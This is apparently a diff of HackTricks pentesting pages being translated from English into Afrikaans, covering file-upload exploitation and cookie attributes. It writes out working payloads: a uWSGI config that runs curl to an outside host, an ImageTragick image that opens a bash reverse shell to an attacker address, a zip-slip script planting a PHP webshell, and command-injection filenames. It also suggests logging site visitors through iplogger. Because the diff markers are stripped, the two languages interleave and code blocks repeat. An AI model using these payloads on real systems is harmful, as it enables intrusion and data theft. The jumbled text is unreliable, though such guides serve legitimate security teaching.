Vir 'n gedetailleerde verkenning van hierdie kwesbaarheid, kyk na die oorspronklike navorsing: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the `.ini` configuration file. uWSGI configuration files leverage a specific syntax to incorporate "magic" variables, placeholders, and operators. Notably, the '@' operator, utilized as `@(filename)`, is designed to include the contents of a file. Among the various supported schemes in uWSGI, the "exec" scheme is particularly potent, allowing the reading of data from a process's standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a `.ini` configuration file is processed.
Consider the following example of a harmful `uwsgi.ini` file, showcasing various schemes:
Afgeleë Opdrag Uitvoering (RCE) kwesbaarhede kan in uWSGI bedieners benut word as iemand die vermoë het om die `.ini` konfigurasielêer te wysig. uWSGI konfigurasielêers maak gebruik van 'n spesifieke sintaksis om "magiese" veranderlikes, plekhouers en operateurs in te sluit. Veral, die '@' operateur, wat gebruik word as `@(filename)`, is ontwerp om die inhoud van 'n lêer in te sluit. Onder die verskillende ondersteunde skemas in uWSGI is die "exec" skema veral kragtig, wat die lees van data van 'n proses se standaarduitvoer toelaat. Hierdie kenmerk kan gemanipuleer word vir slegte doeleindes soos Afgeleë Opdrag Uitvoering of Willekeurige Lêer Skryf/Lees wanneer 'n `.ini` konfigurasielêer verwerk word.
Oorweeg die volgende voorbeeld van 'n skadelike `uwsgi.ini` lêer, wat verskillende skemas toon:
```ini
[uwsgi]
; read from a symbol
@ -133,16 +132,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
Die uitvoering van die payload vind plaas tydens die ontleding van die konfigurasie-lêer. Vir die konfigurasie om geaktiveer en ontleed te word, moet die uWSGI-proses of herbegin word (potensieel na 'n ongeluk of as gevolg van 'n Denial of Service-aanval) of die lêer moet op outo-herlaai gestel word. Die outo-herlaai-funksie, indien geaktiveer, herlaai die lêer op gespesifiseerde tydperke wanneer dit veranderinge opspoor.
The execution of the payload occurs during the parsing of the configuration file. For the configuration to be activated and parsed, the uWSGI process must either be restarted (potentially after a crash or due to a Denial of Service attack) or the file must be set to auto-reload. The auto-reload feature, if enabled, reloads the file at specified intervals upon detecting changes.
Dit is van kardinale belang om die los aard van uWSGI se konfigurasie-lêerontleding te verstaan. Spesifiek kan die bespreekte payload in 'n binêre lêer (soos 'n beeld of PDF) ingevoeg word, wat die omvang van potensiële uitbuiting verder verbreed.
It's crucial to understand the lax nature of uWSGI's configuration file parsing. Specifically, the discussed payload can be inserted into a binary file (such as an image or PDF), further broadening the scope of potential exploitation.
## **wget File Upload/SSRF Trick**
In some occasions you may find that a server is using **`wget`** to **download files** and you can **indicate** the **URL**. In these cases, the code may be checking that the extension of the downloaded files is inside a whitelist to assure that only allowed files are going to be downloaded. However, **this check can be bypassed.**\
The **maximum** length of a **filename** in **linux** is **255**, however, **wget** truncate the filenames to **236** characters. You can **download a file called "A"\*232+".php"+".gif"**, this filename will **bypass** the **check** (as in this example **".gif"** is a **valid** extension) but `wget` will **rename** the file to **"A"\*232+".php"**.
## **wget Lêer Laai/SSRF Trick**
In sommige gevalle mag jy vind dat 'n bediener **`wget`** gebruik om **lêers** te **af te laai** en jy kan die **URL** **aandui**. In hierdie gevalle mag die kode nagaan of die uitbreiding van die afgelaaide lêers binne 'n witlys is om te verseker dat slegs toegelate lêers afgelaai gaan word. egter, **hierdie kontrole kan omseil word.**\
Die **maksimum** lengte van 'n **lêernaam** in **linux** is **255**, egter, **wget** verkort die lêernames tot **236** karakters. Jy kan 'n lêer aflaai wat "A"\*232+".php"+".gif" genoem word, hierdie lêernaam sal die **kontrole omseil** (soos in hierdie voorbeeld is **".gif"** 'n **geldige** uitbreiding) maar `wget` sal die lêer hernoem na **"A"\*232+".php"**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -165,163 +162,154 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
Let wel dat **'n ander opsie** wat jy dalk oorweeg om hierdie kontrole te omseil, is om die **HTTP bediener te laat herlei na 'n ander lêer**, sodat die aanvanklike URL die kontrole sal omseil en dan wget die herlei lêer met die nuwe naam sal aflaai. Dit **sal nie werk nie** **tenzij** wget gebruik word met die **parameter** `--trust-server-names` omdat **wget die herlei bladsy met die naam van die lêer wat in die oorspronklike URL aangedui is, sal aflaai**.
Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**.
## Gereedskap
## Tools
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is 'n kragtige hulpmiddel wat ontwerp is om Pentesters en Bug Hunters te help om lêer oplaad meganismes te toets. Dit benut verskeie bug bounty tegnieke om die proses van die identifisering en benutting van kwesbaarhede te vereenvoudig, wat deeglike assesserings van webtoepassings verseker.
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications.
## Van lêer oplaad na ander kwesbaarhede
## From File upload to other vulnerabilities
- Stel **lêernaam** in op `../../../tmp/lol.png` en probeer om 'n **pad traversering** te bereik
- Stel **lêernaam** in op `sleep(10)-- -.jpg` en jy mag in staat wees om 'n **SQL inspuiting** te bereik
- Stel **lêernaam** in op `<svg onload=alert(document.domain)>` om 'n XSS te bereik
- Stel **lêernaam** in op `; sleep 10;` om 'n paar opdrag inspuiting te toets (meer [opdrag inspuiting truuks hier](../command-injection.md))
- [**XSS** in beeld (svg) lêer oplaad](../xss-cross-site-scripting/#xss-uploading-files-svg)
- **JS** lêer **oplaad** + **XSS** = [**Dienswerkers** benutting](../xss-cross-site-scripting/#xss-abusing-service-workers)
- [**XXE in svg oplaad**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Herlei** deur die oplaad van svg lêer](../open-redirect.md#open-redirect-uploading-svg-files)
- Probeer **verskillende svg payloads** van [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
- [Beroemde **ImageTrick** kwesbaarheid](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- As jy kan **aandui dat die webbediener 'n beeld van 'n URL moet vang**, kan jy probeer om 'n [SSRF](../ssrf-server-side-request-forgery/) te misbruik. As hierdie **beeld** in 'n of ander **publieke** webwerf **gestoor** gaan word, kan jy ook 'n URL van [https://iplogger.org/invisible/](https://iplogger.org/invisible/) aandui en **inligting van elke besoeker steel**.
- [**XXE en CORS** omseiling met PDF-Adobe oplaad](pdf-upload-xxe-and-cors-bypass.md)
- Spesiaal saamgestelde PDFs vir XSS: Die [volgende bladsy toon hoe om **PDF data in te spuit om JS uitvoering te verkry**](../xss-cross-site-scripting/pdf-injection.md). As jy PDFs kan oplaai, kan jy 'n paar PDF's voorberei wat arbitrêre JS sal uitvoer volgens die gegewe aanwysings.
- Laai die \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) inhoud op om te kyk of die bediener enige **antivirus** het
- Kyk of daar enige **grootte limiet** is wanneer lêers opgelaai word
- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal**
- Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection**
- Set **filename** to `<svg onload=alert(document.domain)>` to achieve a XSS
- Set **filename** to `; sleep 10;` to test some command injection (more [command injections tricks here](../command-injection.md))
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/#xss-uploading-files-svg)
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/#xss-abusing-service-workers)
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**.
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus**
- Check if there is any **size limit** uploading files
Heres a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
Hier is 'n top 10 lys van dinge wat jy kan bereik deur op te laai (van [hier](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Stored XSS / SSRF / XXE
3. **GIF**: Stored XSS / SSRF
4. **CSV**: CSV injection
2. **SVG**: Gestoor XSS / SSRF / XXE
3. **GIF**: Gestoor XSS / SSRF
4. **CSV**: CSV inspuiting
5. **XML**: XXE
6. **AVI**: LFI / SSRF
7. **HTML / JS** : HTML injection / XSS / Open redirect
8. **PNG / JPEG**: Pixel flood attack (DoS)
7. **HTML / JS** : HTML inspuiting / XSS / Open herlei
8. **PNG / JPEG**: Pixel oorstroming aanval (DoS)
9. **ZIP**: RCE via LFI / DoS
10. **PDF / PPTX**: SSRF / BLIND XXE
#### Burp Extension
#### Burp Uitbreiding
{% embed url="https://github.com/portswigger/upload-scanner" %}
## Magic Header Bytes
## Magiese Header Bytes
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
- **JPG**: `"\xff\xd8\xff"`
Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes.
Verwys na [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) vir ander lêertipes.
### Zip/Tar File Automatically decompressed Upload
### Zip/Tar Lêer Outomaties gedecomprimeerde Oplaad
If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:
As jy 'n ZIP kan oplaai wat binne die bediener gedecomprimeer gaan word, kan jy 2 dinge doen:
#### Symlink
Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files:
Laai 'n skakel op wat sagte skakels na ander lêers bevat, dan, deur toegang te verkry tot die gedecomprimeerde lêers, sal jy toegang hê tot die gelinkte lêers:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
```
### Decomprimeer in verskillende vouers
### Decompress in different folders
The unexpected creation of files in directories during decompression is a significant issue. Despite initial assumptions that this setup might guard against OS-level command execution through malicious file uploads, the hierarchical compression support and directory traversal capabilities of the ZIP archive format can be exploited. This allows attackers to bypass restrictions and escape secure upload directories by manipulating the decompression functionality of the targeted application.
An automated exploit to craft such files is available at [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). The utility can be used as shown:
Die onverwagte skepping van lêers in gidse tydens dekompressie is 'n beduidende probleem. Ten spyte van aanvanklike aannames dat hierdie opstelling dalk teen OS-vlak opdraguitvoering deur kwaadwillige lêeroplaaie kan beskerm, kan die hiërargiese kompressieondersteuning en gidse traversering vermoëns van die ZIP-argiefformaat uitgebuit word. Dit stel aanvallers in staat om beperkings te omseil en veilige oplaai-gidse te ontsnap deur die dekompressiefunksionaliteit van die geteikende toepassing te manipuleer.
'n Geoutomatiseerde uitbuiting om sulke lêers te vervaardig is beskikbaar by [**evilarc op GitHub**](https://github.com/ptoomey3/evilarc). Die nut kan soos volg gebruik word:
```python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
Boonop is die **symlink truuk met evilarc** 'n opsie. As die doelwit is om 'n lêer soos `/flag.txt` te teiken, moet 'n symlink na daardie lêer in jou stelsel geskep word. Dit verseker dat evilarc nie foute tydens sy werking ondervind nie.
Additionally, the **symlink trick with evilarc** is an option. If the objective is to target a file like `/flag.txt`, a symlink to that file should be created in your system. This ensures that evilarc does not encounter errors during its operation.
Below is an example of Python code used to create a malicious zip file:
Hieronder is 'n voorbeeld van Python-kode wat gebruik word om 'n kwaadwillige zip-lêer te skep:
```python
#!/usr/bin/python
import zipfile
from io import BytesIO
def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
```
**Misbruik van kompressie vir lêer spuit**
**Abusing compression for file spraying**
Vir verdere besonderhede **kyk die oorspronklike pos in**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
For further details **check the original post in**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **Skep 'n PHP Shell**: PHP kode word geskryf om opdragte uit te voer wat deur die `$_REQUEST` veranderlike oorgedra word.
1. **Creating a PHP Shell**: PHP code is written to execute commands passed through the `$_REQUEST` variable.
```php
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
```
```php
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
```
2. **Lêer Spuit en Gecomprimeerde Lêer Skep**: Meerdere lêers word geskep en 'n zip-argief word saamgestel wat hierdie lêers bevat.
2. **File Spraying and Compressed File Creation**: Multiple files are created and a zip archive is assembled containing these files.
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
```
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Wysiging met 'n Hex Editor of vi**: Die name van die lêers binne die zip word verander met vi of 'n hex editor, wat "xxA" na "../" verander om directories te traverse.
3. **Modification with a Hex Editor or vi**: The names of the files inside the zip are altered using vi or a hex editor, changing "xxA" to "../" to traverse directories.
```bash
:set modifiable
:%s/xxA/..\//g
:x!
```
```bash
:set modifiable
:%s/xxA/..\//g
:x!
```
## ImageTragic
Upload this content with an image extension to exploit the vulnerability **(ImageMagick , 7.0.1-1)** (form the [exploit](https://www.exploit-db.com/exploits/39767))
Laai hierdie inhoud op met 'n beeld uitbreiding om die kwesbaarheid te benut **(ImageMagick , 7.0.1-1)** (vorm die [exploit](https://www.exploit-db.com/exploits/39767))
```
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```
## Inbedde PHP Shell op PNG
## Embedding PHP Shell on PNG
Die inbedde van 'n PHP-shell in die IDAT-gedeelte van 'n PNG-lêer kan effektief sekere beeldverwerkingsoperasies omseil. Die funksies `imagecopyresized` en `imagecopyresampled` van PHP-GD is veral relevant in hierdie konteks, aangesien hulle algemeen gebruik word vir die herverhouding en hersampling van beelde, onderskeidelik. Die vermoë van die ingeslote PHP-shell om onaangeraak deur hierdie operasies te bly, is 'n beduidende voordeel vir sekere gebruiksgevalle.
Embedding a PHP shell in the IDAT chunk of a PNG file can effectively bypass certain image processing operations. The functions `imagecopyresized` and `imagecopyresampled` from PHP-GD are particularly relevant in this context, as they are commonly used for resizing and resampling images, respectively. The ability of the embedded PHP shell to remain unaffected by these operations is a significant advantage for certain use cases.
'n Gedetailleerde verkenning van hierdie tegniek, insluitend sy metodologie en potensiële toepassings, word in die volgende artikel verskaf: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Hierdie hulpbron bied 'n omvattende begrip van die proses en sy implikasies.
A detailed exploration of this technique, including its methodology and potential applications, is provided in the following article: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). This resource offers a comprehensive understanding of the process and its implications.
Meer inligting in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## Polyglot Lêers
## Polyglot Files
Polyglot lêers dien as 'n unieke hulpmiddel in kuberveiligheid, wat optree as kameleons wat geldig in verskeie lêerformate gelyktydig kan bestaan. 'n Interessante voorbeeld is 'n [GIFAR](https://en.wikipedia.org/wiki/Gifar), 'n hibriede wat sowel as 'n GIF en 'n RAR-argief funksioneer. Sulke lêers is nie beperk tot hierdie paar nie; kombinasies soos GIF en JS of PPT en JS is ook haalbaar.
Polyglot files serve as a unique tool in cybersecurity, acting as chameleons that can validly exist in multiple file formats simultaneously. An intriguing example is a [GIFAR](https://en.wikipedia.org/wiki/Gifar), a hybrid that functions both as a GIF and a RAR archive. Such files aren't limited to this pairing; combinations like GIF and JS or PPT and JS are also feasible.
Die kernnut van polyglot lêers lê in hul vermoë om sekuriteitsmaatreëls te omseil wat lêers op tipe basis skandeer. Gewone praktyk in verskeie toepassings behels die toelaat van slegs sekere lêertipes vir opgelaai—soos JPEG, GIF, of DOC—om die risiko wat deur potensieel skadelike formate (bv. JS, PHP, of Phar-lêers) inhou, te verminder. 'n Polyglot, deur te voldoen aan die struktuurvereistes van verskeie lêertipes, kan stilweg hierdie beperkings omseil.
The core utility of polyglot files lies in their capacity to circumvent security measures that screen files based on type. Common practice in various applications entails permitting only certain file types for upload—like JPEG, GIF, or DOC—to mitigate the risk posed by potentially harmful formats (e.g., JS, PHP, or Phar files). However, a polyglot, by conforming to the structural criteria of multiple file types, can stealthily bypass these restrictions.
Ten spyte van hul aanpasbaarheid, ondervind polyglots beperkings. Byvoorbeeld, terwyl 'n polyglot gelyktydig 'n PHAR-lêer (PHp ARchive) en 'n JPEG kan beliggaam, kan die sukses van sy opgelaai afhang van die platform se lêeruitbreidingbeleide. As die stelsel streng is oor toelaatbare uitbreidings, mag die blote struktuurdualisiteit van 'n polyglot nie genoeg wees om sy opgelaai te waarborg nie.
Despite their adaptability, polyglots do encounter limitations. For instance, while a polyglot might simultaneously embody a PHAR file (PHp ARchive) and a JPEG, the success of its upload might hinge on the platform's file extension policies. If the system is stringent about allowable extensions, the mere structural duality of a polyglot may not suffice to guarantee its upload.
Meer inligting in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
## References
## Verwysings
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
@ -332,9 +320,8 @@ More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-frie
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
As jy belangstel in **hacking loopbaan** en om die onhackable te hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).
{% embed url="https://www.stmcyber.com/careers" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,8 +1,7 @@
# PDF Upload - XXE and CORS bypass
# PDF Laai - XXE en CORS omseiling
{{#include ../../banners/hacktricks-training.md}}
**Check [https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html](https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html)**
**Kontroleer [https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html](https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html)**
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,251 +1,238 @@
# Cookies Hacking
# Koekies Hacking
{{#include ../../banners/hacktricks-training.md}}
## Cookie Attributes
## Koekie Attribuut
Cookies come with several attributes that control their behavior in the user's browser. Heres a rundown of these attributes in a more passive voice:
Koekies kom met verskeie attribuut wat hul gedrag in die gebruiker se blaaiers beheer. Hier is 'n oorsig van hierdie attribuut in 'n meer passiewe stem:
### Expires and Max-Age
### Vervaldatum en Max-Age
The expiry date of a cookie is determined by the `Expires` attribute. Conversely, the `Max-age` attribute defines the time in seconds until a cookie is deleted. **Opt for `Max-age` as it reflects more modern practices.**
Die vervaldatum van 'n koekie word bepaal deur die `Expires` attribuut. Omgekeerd, die `Max-age` attribuut definieer die tyd in sekondes totdat 'n koekie verwyder word. **Kies vir `Max-age` aangesien dit meer moderne praktyke weerspieël.**
### Domain
### Domein
The hosts to receive a cookie are specified by the `Domain` attribute. By default, this is set to the host that issued the cookie, not including its subdomains. However, when the `Domain` attribute is explicitly set, it encompasses subdomains as well. This makes the specification of the `Domain` attribute a less restrictive option, useful for scenarios where cookie sharing across subdomains is necessary. For instance, setting `Domain=mozilla.org` makes cookies accessible on its subdomains like `developer.mozilla.org`.
Die gasheer wat 'n koekie ontvang, word gespesifiseer deur die `Domain` attribuut. Standaard is dit ingestel op die gasheer wat die koekie uitgereik het, sonder om sy subdomeine in te sluit. Wanneer die `Domain` attribuut egter eksplisiet ingestel is, sluit dit ook subdomeine in. Dit maak die spesifikasie van die `Domain` attribuut 'n minder beperkende opsie, nuttig vir scenario's waar koekie deel tussen subdomeine nodig is. Byvoorbeeld, om `Domain=mozilla.org` in te stel maak koekies beskikbaar op sy subdomeine soos `developer.mozilla.org`.
### Path
### Pad
A specific URL path that must be present in the requested URL for the `Cookie` header to be sent is indicated by the `Path` attribute. This attribute considers the `/` character as a directory separator, allowing for matches in subdirectories as well.
'n Spesifieke URL-pad wat teenwoordig moet wees in die versoekte URL vir die `Cookie` kop om gestuur te word, word aangedui deur die `Path` attribuut. Hierdie attribuut beskou die `/` karakter as 'n gids skeidingsteken, wat ooreenkomste in subgidse moontlik maak.
### Ordering Rules
### Bestellingsreëls
When two cookies bear the same name, the one chosen for sending is based on:
Wanneer twee koekies dieselfde naam het, word die een wat gekies word om te stuur, gebaseer op:
- The cookie matching the longest path in the requested URL.
- The most recently set cookie if the paths are identical.
- Die koekie wat die langste pad in die versoekte URL ooreenstem.
- Die mees onlangs ingestelde koekie as die pades identies is.
### SameSite
- The `SameSite` attribute dictates whether cookies are sent on requests originating from third-party domains. It offers three settings:
- **Strict**: Restricts the cookie from being sent on third-party requests.
- **Lax**: Allows the cookie to be sent with GET requests initiated by third-party websites.
- **None**: Permits the cookie to be sent from any third-party domain.
- Die `SameSite` attribuut bepaal of koekies gestuur word op versoeke wat afkomstig is van derdeparty-domeine. Dit bied drie instellings:
- **Streng**: Beperk die koekie om nie op derdeparty versoeke gestuur te word nie.
- **Lax**: Laat die koekie toe om gestuur te word met GET versoeke wat deur derdeparty-webwerwe geïnisieer word.
- **Geen**: Laat die koekie toe om van enige derdeparty-domein gestuur te word.
Remember, while configuring cookies, understanding these attributes can help ensure they behave as expected across different scenarios.
Onthou, terwyl jy koekies konfigureer, kan die begrip van hierdie attribuut help om te verseker dat hulle soos verwag oor verskillende scenario's optree.
| **Request Type** | **Example Code** | **Cookies Sent When** |
| **Versoek tipe** | **Voorbeeld kode** | **Koekies gestuur wanneer** |
| ---------------- | ---------------------------------- | --------------------- |
| Link | \<a href="...">\</a> | NotSet\*, Lax, None |
| Prerender | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
| Form GET | \<form method="GET" action="..."> | NotSet\*, Lax, None |
| Form POST | \<form method="POST" action="..."> | NotSet\*, None |
| iframe | \<iframe src="...">\</iframe> | NotSet\*, None |
| AJAX | $.get("...") | NotSet\*, None |
| Image | \<img src="..."> | NetSet\*, None |
| Skakel | \<a href="...">\</a> | NotSet\*, Lax, Geen |
| Prerender | \<link rel="prerender" href=".."/> | NotSet\*, Lax, Geen |
| Vorm GET | \<form method="GET" action="..."> | NotSet\*, Lax, Geen |
| Vorm POST | \<form method="POST" action="..."> | NotSet\*, Geen |
| iframe | \<iframe src="...">\</iframe> | NotSet\*, Geen |
| AJAX | $.get("...") | NotSet\*, Geen |
| Beeld | \<img src="..."> | NetSet\*, Geen |
Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) and slightly modified.\
A cookie with _**SameSite**_ attribute will **mitigate CSRF attacks** where a logged session is needed.
Tabel van [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) en effens gewysig.\
'n Koekie met _**SameSite**_ attribuut sal **CSRF-aanvalle verminder** waar 'n ingelogde sessie nodig is.
**\*Notice that from Chrome80 (feb/2019) the default behaviour of a cookie without a cookie samesite** **attribute will be lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
Notice that temporary, after applying this change, the **cookies without a SameSite** **policy** in Chrome will be **treated as None** during the **first 2 minutes and then as Lax for top-level cross-site POST request.**
**\*Let daarop dat vanaf Chrome80 (feb/2019) die standaard gedrag van 'n koekie sonder 'n koekie samesite** **attribuut sal lax wees** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
Let daarop dat tydelik, na die toepassing van hierdie verandering, die **koekies sonder 'n SameSite** **beleid** in Chrome sal **as Geen behandel word** gedurende die **eerste 2 minute en dan as Lax vir topvlak kruis-web POST versoek.**
## Cookies Flags
## Koekies Vlaggies
### HttpOnly
This avoids the **client** to access the cookie (Via **Javascript** for example: `document.cookie`)
Dit verhoed die **klient** om toegang tot die koekie te verkry (Via **Javascript** byvoorbeeld: `document.cookie`)
#### **Bypasses**
#### **Omseilings**
- If the page is **sending the cookies as the response** of a requests (for example in a **PHPinfo** page), it's possible to abuse the XSS to send a request to this page and **steal the cookies** from the response (check an example in [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
- This could be Bypassed with **TRACE** **HTTP** requests as the response from the server (if this HTTP method is available) will reflect the cookies sent. This technique is called **Cross-Site Tracking**.
- This technique is avoided by **modern browsers by not permitting sending a TRACE** request from JS. However, some bypasses to this have been found in specific software like sending `\r\nTRACE` instead of `TRACE` to IE6.0 SP2.
- Another way is the exploitation of zero/day vulnerabilities of the browsers.
- It's possible to **overwrite HttpOnly cookies** by performing a Cookie Jar overflow attack:
- As die bladsy **die koekies as die antwoord** van 'n versoek stuur (byvoorbeeld in 'n **PHPinfo** bladsy), is dit moontlik om die XSS te misbruik om 'n versoek na hierdie bladsy te stuur en **die koekies** uit die antwoord te **steel** (kyk 'n voorbeeld in [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/)).
- Dit kan omseil word met **TRACE** **HTTP** versoeke aangesien die antwoord van die bediener (as hierdie HTTP metode beskikbaar is) die koekies wat gestuur is, sal weerspieël. Hierdie tegniek word **Cross-Site Tracking** genoem.
- Hierdie tegniek word vermy deur **moderne blaaiers deur nie toe te laat om 'n TRACE** versoek van JS te stuur. Daar is egter sekere omseilings in spesifieke sagteware gevind, soos om `\r\nTRACE` in plaas van `TRACE` na IE6.0 SP2 te stuur.
